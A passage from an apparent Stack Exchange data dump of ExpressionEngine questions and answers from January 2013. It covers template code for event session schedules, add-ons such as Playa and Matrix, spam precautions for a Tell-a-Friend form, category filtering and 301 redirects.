&lt;p&gt;Blockquote&#xA;  {!--keep track of previous day in order to check if we have a new day--}&#xA;      {exp:string:set name=&quot;lastDay&quot;}just starting{/exp:string:set}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;**strong text**&#xA;    {exp:channel:entries channel=&quot;session_timeblocks&quot; show_expired=&quot;yes&quot; show_future_entries=&quot;yes&quot; dynamic=&quot;no&quot; limit=&quot;999&quot; orderby=&quot;date&quot; sort=&quot;asc&quot;}&#xA;&#xA;    {!-- store start day and time of current entry for check later on --}&#xA;    {exp:string:set name=&quot;currentDay&quot;}{entry_date format=&quot;%d&quot;}{/exp:string:set}&#xA;&#xA;    {exp:string:output random}&#xA;    {if currentDay != lastDay}&#xA;        {if lastDay != &quot;just starting&quot;}&#xA;            -2-&amp;lt;/div&amp;gt; {!-- close open session and day --}&#xA;        {/if}&#xA;    &amp;lt;div class=&quot;prog_day grid item{currentDay}&quot; &amp;gt;-1-&#xA;        &amp;lt;div class=&quot;prog_day_title&quot; &amp;gt;{entry_date format=&quot;%D %j/%n&quot;}&amp;lt;/div&amp;gt;&#xA;    {/if} &#xA;    {/exp:string:output}&#xA;&#xA;&#xA;    &amp;lt;div class=&quot;prog_time grid&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;col-1-6&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;module&quot;&amp;gt;&#xA;                {entry_date format=&quot;%H:%i&quot;} - {expiration_date format=&quot;%H:%i&quot;}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;prog_session col-5-6&quot; &amp;gt;&#xA;            &amp;lt;div class=&quot;module&quot;&amp;gt;&#xA;                {exp:playa:children field=&quot;{cf_session_timeblock}&quot;}&#xA;&#xA;                &amp;lt;h5&amp;gt;{title}&amp;lt;/h5&amp;gt;&#xA;                &amp;lt;ul class='foldable'&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&#xA;                        {if cf_session_summary}&#xA;                        &amp;lt;div&amp;gt;&#xA;                            &amp;lt;h3&amp;gt;Summary&amp;lt;/h3&amp;gt;&#xA;                            &amp;lt;p&amp;gt;{cf_session_summary}&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        {/if}&#xA;                    &amp;lt;/li&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;                {/exp:playa:children}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    {!--store current entries start day and time--}&#xA;    {exp:string:set name=&quot;lastDay&quot; random}{entry_date format=&quot;%d&quot;}{/exp:string:set}&#xA;    {if count == total_results}2&amp;lt;/div&amp;gt;{/if}&#xA;&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Blockquote&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="717" LastEditorUserId="28" LastEditDate="2013-01-23T17:24:57.153" LastActivityDate="2013-01-23T17:24:57.153" Title="how to get entries based on day - session timing - entries per session entry" Tags="|channel-entries|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5281" PostTypeId="2" ParentId="5266" CreationDate="2013-01-23T13:06:48.067" Score="2" Body="&lt;p&gt;I agree with @Andy Homan. The &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/email/tellafriend.html&quot; rel=&quot;nofollow&quot;&gt;Tell-a-Friend&lt;/a&gt; option will work for you, but because of your set-up you will need to secure it well. This is a prime opportunity for spammers to use your server, for sending spam. There is some leeway, if your members are also restricted to just real life members of your organization. But that won't stop someone from being gung-ho about marketing themselves or their work to as many other people as possible. So be forewarned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, we use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/email/tellafriend.html&quot; rel=&quot;nofollow&quot;&gt;Tell-a-Friend&lt;/a&gt; form for a number of things in one of our client's set-up. They wanted to be able to send full text of letter-writing campaigns to both the writer, local politicians, and keep an internal copy. This was before add-ons like '&lt;a href=&quot;https://objectivehtml.com/postmaster/features&quot; rel=&quot;nofollow&quot;&gt;PostMaster&lt;/a&gt;' by ObjectiveHTML. And 'Tell-a-Friend has served us well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a lot of members, you'll probably want a method for the user to select which members to send to. This could possible be ajax type ahead on the member list or maybe the &lt;a href=&quot;http://devot-ee.com/add-ons/chosen-selects&quot; rel=&quot;nofollow&quot;&gt;Chosen Select&lt;/a&gt; plug-in or &lt;a href=&quot;http://devot-ee.com/add-ons/vmg-chosen-member&quot; rel=&quot;nofollow&quot;&gt;VMG Chosen Member&lt;/a&gt;, but otherwise, the form should work well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just a note about security, because having your website blacklisted as a spammer is no fun. Make sure ONLY members can access the form. See if you can limit the number of emails per hour or only 1 or 2 per 15 minute period. Track outgoing emails with a service like &lt;a href=&quot;http://mandrill.com&quot; rel=&quot;nofollow&quot;&gt;Mandrill&lt;/a&gt; or another service. This will allow you to see if a user us targeting the full membership list. Also, if possible, figure out a way to allow for members not to receive mail, from other members.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-23T13:06:48.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5282" PostTypeId="2" ParentId="5280" CreationDate="2013-01-23T13:33:22.150" Score="3" Body="&lt;p&gt;Based on your example, it seems very similar to something I have done before.  There's actually several ways to do it depending on how comfortable you are with queries.  To do it natively would be a bit more complex.  One way I can envision you doing it is to have en &quot;events&quot; channel, wherein you create the profile of each event.  And then you would have a second channel of time blocks.  In the time blocks channel, you would create an entry for each block of time with a label, using the entry date fields as the start date/time and the expiry date as the end date/time.  The reason I recommend that is that it allows you to retain the date headings tag pair functionality, which unfortunately natively only works with the built-in date fields.  The result would be a channel entries loop of date blocks for which you can use the date headings to pump out a date heading for each day of your event, for example, with each block within each date then displaying the start time and end time and label for the block.  Within each block, you would then need to display the list of events from your events channel that are assigned to that date block.  For this, you could use either a relationship field OR even better, Pixel &amp;amp; Tonic's Playa add-on.  Playa would allow you to have a single session description appear in more than one session block (so if the same event - like a presentation - actually gets presented more than once over the course of the event, one entry is used for each instance).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your date blocks loop would look like this, roughly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;time_blocks&quot; show_expired=&quot;yes&quot; show_future_entries=&quot;yes&quot; dynamic=&quot;no&quot; limit=&quot;50&quot; orderby=&quot;date&quot; sort=&quot;asc&quot;}&#xA;&#xA;{date_heading display=&quot;daily&quot;}  &amp;lt;h1&amp;gt;{entry_date format=&quot;%Y %m %d&quot;}&amp;lt;/h1&amp;gt;  {/date_heading}&#xA;&#xA;{entry_date format=&quot;%H:%i} - {expiration_date format=&quot;%H:%i&quot;}&#xA;{title}&#xA;&#xA;{exp:playa:children field=&quot;block_events&quot;}&#xA;{title}&#xA;{/exp:playa:children}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This assumes that you set up a Playa field in your blocks channel called &quot;block_events&quot; in which you select all the sessions occuring at that time.  It might actually be better to do the reverse in the strictest sense, allowing you to add sessions and assign them in the event channel to their parent time block(s) but when you are displaying the list of time blocks as the parent list with the need to break that list up by date heading, this way may be just a bit friendlier to that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-01-23T14:35:17.037" LastActivityDate="2013-01-23T14:35:17.037" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="5283" PostTypeId="2" ParentId="5275" CreationDate="2013-01-23T13:42:36.163" Score="1" Body="&lt;p&gt;I think you'd have to use conditionals and only search certain channels based off the segment. Basically showing a different search form per segment. Or maybe you could use the segment in the search parameter?&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2013-01-23T13:42:36.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5284" PostTypeId="2" ParentId="5280" CreationDate="2013-01-23T14:21:22.263" Score="3" Body="&lt;p&gt;There are a number of options available. You could use &lt;a href=&quot;http://pixelandtonic.com/matrix&quot; rel=&quot;nofollow&quot;&gt;Matrix&lt;/a&gt; to store sessions related to a time block, like Day 1 or 10am-12pm. You could use &lt;code&gt;categories&lt;/code&gt; for your main and sub-groups: Day 1 as parent, Time blocks (10am-12pm) as sub-categories. Or you could use an add-on like Playa to create relationships.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://pixelandtonic.com/matrix&quot; rel=&quot;nofollow&quot;&gt;Matrix Option&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Matrix, you'd probably want to enter each 'session' under time blocks. There's other ways to do it, but let's assume you have a record 'Day One' in ExpressionEngine. Then that record could contain a Matrix field called sessions. Each line in Matrix could contain date, start_time, end_time, title, and description. This works fine if you have a small number of sessions, and have to create new agendas all year long, say for Board Meetings. I wouldn't really use it for say a conference with hundreds of sessions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Code Sample: Matrix&lt;/strong&gt;&#xA;This code is untested, but should provide a general idea.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries site=&quot;meetings&quot; channel=&quot;agendas&quot; limit=&quot;3&quot; url_title=&quot;{segment_3}&quot; orderby=&quot;title&quot; sort=&quot;asc&quot;}&#xA;&#xA;&amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;&amp;lt;p&amp;gt;{day_description}&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;h3&amp;gt;Agenda&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;!-- Matrix: Uses Its Own Tagged Pairs, based on field_name --&amp;gt;&#xA;    &amp;lt;ol&amp;gt;{agenda}&#xA;&#xA;      &amp;lt;li&amp;gt;{start_time}-{end_time}: &amp;lt;strong&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;span class=&quot;hide&quot;&amp;gt;&amp;lt;br /&amp;gt;{description}&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;    {/agenda}&amp;lt;/ol&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://pixelandtonic.com/playa&quot; rel=&quot;nofollow&quot;&gt;Playa Option&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Playa probably offers the most flexibility of the options. What you would do, is set-up the fields as you described in your comment above. Storing each session as individual entries. Create a new channel in EE, and use that to assign sessions to a master grouping. That grouping could be the day or the time block, which ever is most important to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example, you could have a record in 'events' your master block, that relates all session to that record. While 'sessions' would be the current channel storing entries. The names could be however you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Code Sample: Playa&lt;/strong&gt;&#xA;This code is untested, but should provide a general idea.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;event&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;1&quot; track_views=&quot;one&quot;}&#xA;&#xA;{date_heading}&#xA;&amp;lt;h3 class=&quot;date&quot;&amp;gt;{entry_date format=' %l, %F %d, %Y '}&amp;lt;/h3&amp;gt;&#xA;{/date_heading}&#xA;&#xA;&amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;&amp;lt;div style=&quot;margin-top: 0; margin-bottom: 20px;&quot;&amp;gt;&#xA;    &amp;lt;p class=&quot;summary&quot;&amp;gt;{event_summary}&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;h3&amp;gt;Agenda&amp;lt;/h3&amp;gt;&#xA;&amp;lt;ol class=&quot;reverse&quot;&amp;gt;{exp:playa:children}&#xA;&#xA;    &amp;lt;li&amp;gt;&amp;lt;p&amp;gt;{start_time}-{end_time}: &amp;lt;a href=&quot;{comment_url_title_auto_path}&quot; title=&quot;{title}&quot;&amp;gt;&amp;lt;strong&amp;gt;{title} &amp;amp;raquo;&amp;lt;/strong&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;p class=&quot;hide&quot;&amp;gt;{description}&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;{/exp:playa:children}&amp;lt;/ol&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Playa can handle nested relations, which provides increased flexibility. But if you have pre-defined time slots, you can also create a 'Playa' field for each time period, and do very direct relations. Like these five sessions happen at 10am, these five at 12:30pm, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No example for the category option. But categories are a nice quick way to group items, without dropping down into PHP. I've also used &lt;a href=&quot;http://devot-ee.com/add-ons/low-reorder&quot; rel=&quot;nofollow&quot;&gt;Low ReOrder&lt;/a&gt; to create groupings of items. It's nice, because you can technically reorder the items however you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want or need, very simple, you can do something like &lt;a href=&quot;http://madisonnonprofitday.org/schedule/2011&quot; rel=&quot;nofollow&quot;&gt;this example&lt;/a&gt;, with just basic EE code, no add-ons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example Code: No Add-Ons&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The no add-on option, just uses EE's date functions group based on day and time. This is an annual event, so we also limit by year, so people can go back and view previous years schedules. We went for a pretty simple list design, but you can show hide items how ever you like.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;schedule&quot; year=&quot;2011&quot; orderby=&quot;date&quot; sort=&quot;asc&quot; limit=&quot;50&quot; dynamic=&quot;off&quot; show_future_entries=&quot;yes&quot;}&#xA;&#xA;   {date_heading display=&quot;daily&quot;}&amp;lt;h1 class=&quot;schedule-day&quot; align=&quot;center&quot;&amp;gt;{entry_date format=&quot;%D, %F %d, %Y&quot;&quot;}&amp;lt;/h2&amp;gt;{/date_heading}&#xA;&#xA;   {date_heading display=&quot;hourly&quot;}&#xA;    &amp;lt;h2 class=&quot;schedule-time&quot; align=&quot;center&quot;&amp;gt;{entry_date format=&quot;%g:%i %A&quot;}&amp;lt;/h2&amp;gt;&#xA;   {/date_heading}&#xA;&#xA;   &amp;lt;div class=&quot;schedule&quot;&amp;gt;&#xA;&#xA;       &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{domain}/schedule/article/{url_title}&quot; title=&quot;{title}&quot;&amp;gt;{title} &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;       {if event_tagline !=&quot;&quot;}&amp;lt;p&amp;gt;&amp;lt;b&amp;gt;{event_tagline}&amp;lt;/b&amp;gt;{/if}&#xA;       {if event_tagline ==&quot;&quot;}&amp;lt;p&amp;gt;{if:else}&amp;lt;br /&amp;gt;{/if}{entry_date format=&quot;%h:%i %A&quot;} at &amp;lt;u&amp;gt;{event_location}&amp;lt;/u&amp;gt; (Length: {event_length})&#xA;       &amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;{exp:word_limit total=&quot;60&quot;}{exp:tagstripper:tagsToStrip keep=&quot;b,i,u&quot;}{event_description}{/exp:tagstripper:tagsToStrip}{/exp:word_limit}&amp;lt;/p&amp;gt;&#xA;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-23T14:21:22.263" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5285" PostTypeId="2" ParentId="5066" CreationDate="2013-01-23T14:32:07.033" Score="0" Body="&lt;p&gt;The key to fixing problem #1 (URL's not including the full path but just the url_title) was to use Structure's &lt;code&gt;{page_url}&lt;/code&gt; tag in the template markup. &lt;code&gt;{page_url}&lt;/code&gt; gives the Structure URL with parent segments included (example: &quot;about-us/donate&quot; instead of just &quot;donate&quot;). Thanks to @Travis Schmeisser for his help in the Structure support forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for #2 (&lt;code&gt;p&lt;/code&gt; tags wrapping the url_title), I did delete the field from the field group then recreated it. The problem is now solved.&lt;/p&gt;&#xA;" OwnerUserId="496" LastActivityDate="2013-01-23T14:32:07.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5286" PostTypeId="1" AcceptedAnswerId="5287" CreationDate="2013-01-23T15:27:21.097" Score="1" ViewCount="716" Body="&lt;p&gt;I have successfully built the front end of my first module. Its a simple module that does currency conversions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to create a simple control panel page for my module that allows me to add a decimal number into three different fields which is saved in the database (already have the database created on install of module). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a complete newbie, so wondering if anyone can give me an idea of how to create a basic form that submits to the database as I have been unable to find anywhere that shows an easy to understand version. &lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2013-01-23T15:28:47.900" Title="First module, how to create a simple control panel form?" Tags="|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5287" PostTypeId="2" ParentId="5286" CreationDate="2013-01-23T15:28:47.900" Score="2" Body="&lt;p&gt;Please check &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/module_tutorial.html&quot; rel=&quot;nofollow&quot;&gt;Module Development Tutorial&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-01-23T15:28:47.900" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5288" PostTypeId="2" ParentId="4938" CreationDate="2013-01-23T15:38:52.080" Score="1" Body="&lt;p&gt;While being not really tagging solution, &lt;a href=&quot;http://devot-ee.com/add-ons/crosslinking&quot; rel=&quot;nofollow&quot;&gt;Crosslinking&lt;/a&gt; might be of some help to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(As mentioned above, you need to be more specific to get good answers to your questions)&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-01-23T15:38:52.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5289" PostTypeId="2" ParentId="4938" CreationDate="2013-01-23T16:17:52.807" Score="1" Body="&lt;p&gt;I'm not certain if I fully understand what you want. Are you looking for a 'tagging' solution, where people can enter tags from the front end (regardless of hash, but provides a filter for posts) or are you looking for something that converts #keywords to links, if someone used one anywhere in a post?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want tags to be filters, look at &lt;a href=&quot;http://www.solspace.com/software/detail/tag/&quot; rel=&quot;nofollow&quot;&gt;Solspace's Tag&lt;/a&gt; or &lt;a href=&quot;http://www.devdemon.com/tagger/&quot; rel=&quot;nofollow&quot;&gt;DevDemon's Tagger&lt;/a&gt;. Either will provide a good system for dealing with tags. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want a system that replaces #keywords, with links. Then you'll want to use a Find and Replace plugin against the body or main text field. Something like '&lt;a href=&quot;http://gotolow.com/addons/low-replace&quot; rel=&quot;nofollow&quot;&gt;Low Replace&lt;/a&gt;' should work. You'd still want either Tag or Tagger to do the processing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you would do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Note: Find words with a hashtag (#) and encase with a url to the tag processing page --&amp;gt;&#xA;{exp:low_replace find=&quot;#\w+&quot; replace=&quot;&amp;lt;a href=\&quot;/tags/tag/#\w+\&quot;&amp;gt;#\w+&amp;lt;/a&amp;gt;&quot; regex=&quot;yes&quot;}&#xA;  {post_body}&#xA;{/exp:low_replace}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My regex use is &lt;strong&gt;atrocious&lt;/strong&gt;. So don't expect that to work as is. I work with another programmer, who just smirks, when he sees my regex, which I kindly place a note on, and he fixes. So maybe a kind soul here will do that as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the find and replace will swap out any #keyword within the body and make it a link. The link would then point to a page being handled by Tag or Tagger or even search. In fact, if the items should be found from any body field, you may wish to use the search function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find the tag functions of Tag and Tagger work best in a single, pre-defined field or using their built in tagging method. No hashtags needed. The user just adds keywords/tags at the end of a post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yuri's &lt;a href=&quot;http://devot-ee.com/add-ons/crosslinking&quot; rel=&quot;nofollow&quot;&gt;CrossLinking&lt;/a&gt; might allow you to get rid of the regex find and replace. So you may want to look at that as well.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-23T16:17:52.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5290" PostTypeId="1" CreationDate="2013-01-23T16:34:32.913" Score="1" ViewCount="72" Body="&lt;p&gt;An EE1 site that I developed many years ago was recently moved to a new server. I logged into the CP to do some work and everything seemed fine, but when I tried to pull up &quot;Utilities -&gt; Extensions Manager&quot;, I get an &quot;Internal Server Error&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I FTP'd in, and everything seems to be in place, permissions correct, etc. Is there something specific that I should look for?&lt;/p&gt;&#xA;" OwnerUserId="567" LastActivityDate="2013-01-25T06:48:09.693" Title="Extensions Manager returns &quot;Internal Server Error&quot;" Tags="|control-panel|ee1|extension|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5291" PostTypeId="1" AcceptedAnswerId="5307" CreationDate="2013-01-23T16:34:52.720" Score="1" ViewCount="145" Body="&lt;p&gt;I have EE v2.5.3 and Freeform Pro 4.0.10 among other things. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When submitting forms with admin notify turned on I get a server timeout error. The form data still submits to the db and I still get a notification email but the server hangs and eventually times out instead of loading the return page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I turn on admin notify it works properly, but obviously no notification, which I very much need.&lt;/p&gt;&#xA;" OwnerUserId="357" LastActivityDate="2013-01-23T19:09:57.237" Title="Freeform timing out on return page" Tags="|forms|solspace-freeform|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5292" PostTypeId="1" CreationDate="2013-01-23T16:46:03.850" Score="0" ViewCount="219" Body="&lt;p&gt;I've just whipped up a new EE v2.5.5 site with a copy of Assets 2.0.2. I've added in a file upload location, and when I go to Assets I see a spinning refresh button with no locations showing below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed that if I click 'Update indexes', the location I added in shows up there OK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what might be behind this?&lt;/p&gt;&#xA;" OwnerUserId="522" LastActivityDate="2013-01-25T16:46:09.707" Title="Assets refresh button spinning, not showing file locations" Tags="|assets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5293" PostTypeId="1" AcceptedAnswerId="5308" CreationDate="2013-01-23T16:52:16.907" Score="3" ViewCount="1372" Body="&lt;p&gt;This is a bit of a complex one, and a bit tricky to explain - but here it goes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to build an advanced filter system for an eCommerce website. Hypothetically, it would look like this (with [ ] symbolising a checkbox)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;BRANDS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[ ] Brand 1 [cat id=1]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[  ] Brand 2 [cat id=2]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[  ] Brand 3 [cat id=3]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SIZE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[  ] Small [cat id=4]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[  ] Medium [cat id=5]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[  ] Large [cat id=6]&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Currently I have built a prototype using dynamic_parameter that allows me to filter by those categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I were to check Brand 1, Brand 2 and Small (which would in English mean &quot;Show me small products by either Brand 1 or Brand 2) it of course is still effectively running&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;category=&quot;1&amp;amp;2&amp;amp;4&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which instead is &quot;Show me all small products by &lt;strong&gt;&lt;em&gt;both&lt;/em&gt;&lt;/strong&gt; Brand 1 &lt;strong&gt;&lt;em&gt;and&lt;/em&gt;&lt;/strong&gt; Brand 2&quot; - which isn't so useful for filtering purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this website, combinations within a category &lt;em&gt;group&lt;/em&gt; (Brand, Size, among others) should be OR and outside of the groups should be AND.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a perfect world, this would work...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;category=&quot;(1|2)&amp;amp;(4)&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, is there a workaround to this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advanced, it's quite a complex one and I may be completely over complicating this!&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-09-18T18:33:56.747" Title="Filter categories by AND and OR" Tags="|channel-entries|categories|filter|dynamic|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5294" PostTypeId="2" ParentId="5293" CreationDate="2013-01-23T16:57:51.910" Score="-1" Body="&lt;p&gt;You should try to use &lt;a href=&quot;http://www.solspace.com/software/detail/super_search/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Super Search module&lt;/strong&gt;&lt;/a&gt;. Which seems be better for it.&lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="28" LastEditDate="2013-01-23T17:23:19.840" LastActivityDate="2013-01-23T17:23:19.840" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5295" PostTypeId="2" ParentId="5212" CreationDate="2013-01-23T17:09:52.687" Score="5" Body="&lt;p&gt;In theory &lt;code&gt;{count}&lt;/code&gt; should work. If it’s always being output as ‘1’ that means that &lt;code&gt;{exp:channel:entries}&lt;/code&gt; (or another module tag pair you’re not telling us about?) must be parsing the tag before Playa had a chance to claim it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try adding your own custom var_prefix to your Playa tag pair, and apply that var_prefix to the &lt;code&gt;{count}&lt;/code&gt; variable tag, as well as any other tags that are meant to be parsed by Playa:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{cf_course_content var_prefix=&quot;cc&quot;}&#xA;    {cc:count}. {cc:title}&#xA;{/cf_course_content}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-01-23T17:09:52.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5296" PostTypeId="1" CreationDate="2013-01-23T17:15:17.780" Score="2" ViewCount="1139" Body="&lt;p&gt;EE gives clients great control over the url_title of the entry. This is great for publishing new entries, and necessary for editing entries in case of mistakes or any other &quot;good&quot; reason to change the url_title. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Being an SEO conscience developer who runs an EE site, when I change a url_title for an entry that has been published and indexed by Google, I set up a 301 Redirect using .htaccess, so previous users and search engines know where the new page lives. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clients will not do this, of course. Without me telling them, they will simply change the url_title as they see fit. I believe this is something they should be able to do without contacting someone who knows about 301 Redirects. This is something that is handled automatically by WordPress (based on a limited understanding and experience with WordPress). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Are there&lt;/strong&gt; any plugins or techniques out there that will accomplish this task you are aware of? &lt;/p&gt;&#xA;" OwnerUserId="529" LastActivityDate="2013-01-23T19:13:36.407" Title="How do I setup Automatic 301 Redirects on url_title change" Tags="|htaccess|url-title|redirects|automation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
